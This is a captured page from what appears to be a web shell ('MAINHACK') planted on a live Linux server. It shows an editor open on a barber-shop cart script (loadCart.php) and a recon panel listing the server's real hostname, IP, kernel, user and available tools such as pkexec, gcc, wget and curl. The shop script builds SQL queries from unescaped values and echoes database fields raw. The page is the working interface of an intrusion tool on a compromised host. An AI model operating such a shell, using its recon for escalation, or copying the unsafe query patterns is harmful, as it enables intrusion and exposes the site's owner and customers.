[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: loadCart.php
<?php include("../admin/db/db.php"); $shopname = $_SESSION['business_name_Xw211qAAsq4']; $currency = mysqli_query($new,"SELECT currency from barber_admin WHERE business_name = '$shopname'"); $fechC = mysqli_fetch_array($currency); $qurtyCurrency = $fechC['currency']; ?> <div class="card"> <span id="cart"> <table class="table table-hover shopping-cart-wrap"> <thead class="text-muted"> <tr> <th scope="col">Item</th> <th scope="col" width="120">Qty</th> <th scope="col" width="250">Price</th> <th scope="col" width="250">Total</th> <th scope="col" class="text-right" width="100">Delete</th> </tr> </thead> <tbody> <?php $sel = mysqli_query($new,"SELECT * from cart WHERE user_id = '$shopname' order by id DESC"); while($cart_row = mysqli_fetch_array($sel)){ $total = $cart_row['qty'] * $cart_row['price'].''.$qurtyCurrency; ?> <tr> <td> <figure class="media"> <figcaption class="media-body"> <h6 class="title"><?php echo $cart_row['pro_name'];?></h6> </figcaption> </figure> </td> <td class="text-center"> <a href="javascript:;" class="addAttrr" data-toggle="modal" data-target="#qtyModal" data-id="<?php echo $cart_row['id']; ?>"><?php echo $cart_row['qty'];?></a> </td> <td> <?php echo $cart_row['price'].' '.$qurtyCurrency;?> <?php $ftotal+=$total; ?> </td> <!-- <td width="100"> <var><?php echo $cart_row['price'];?></var> </td> --> <td width="100"> <var><?php echo $cart_row['price'] * $cart_row['qty'].' '.$qurtyCurrency;?></var> </td> <td class="text-right"> <a href="pos?cartid=<?= $cart_row['id'];?>" class="btn btn-outline-danger"> <i class="fa fa-trash"></i></a> </td> <?php }?> </tr> </tbody> </table> </span> </div> <!-- card.// --> <div class="box"> <dl class="dlist-align"> <dt></dt> </dl> <dl class="dlist-align"> <dt>Sub Total:</dt> <dd class="text-right"><?php echo number_format($ftotal,2).' '.$qurtyCurrency;?></dd> </dl> <!-- <dl class="dlist-align"> <dt>Discount</dt> <dd class="text-right b"><a href="#">0.00</a></dd> </dl> --> <!-- <dl class="dlist-align"> <dt>Grand Total</dt> <dd class="text-right b">0.00</dd> </dl> --> <div class="row"> <div class="col-md-6"> <br /><br /> <a data-toggle="modal" href="#payment" class="btn btn-primary btn-lg btn-block">Payment</a> </div> </div> </div> <!-- box.// -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002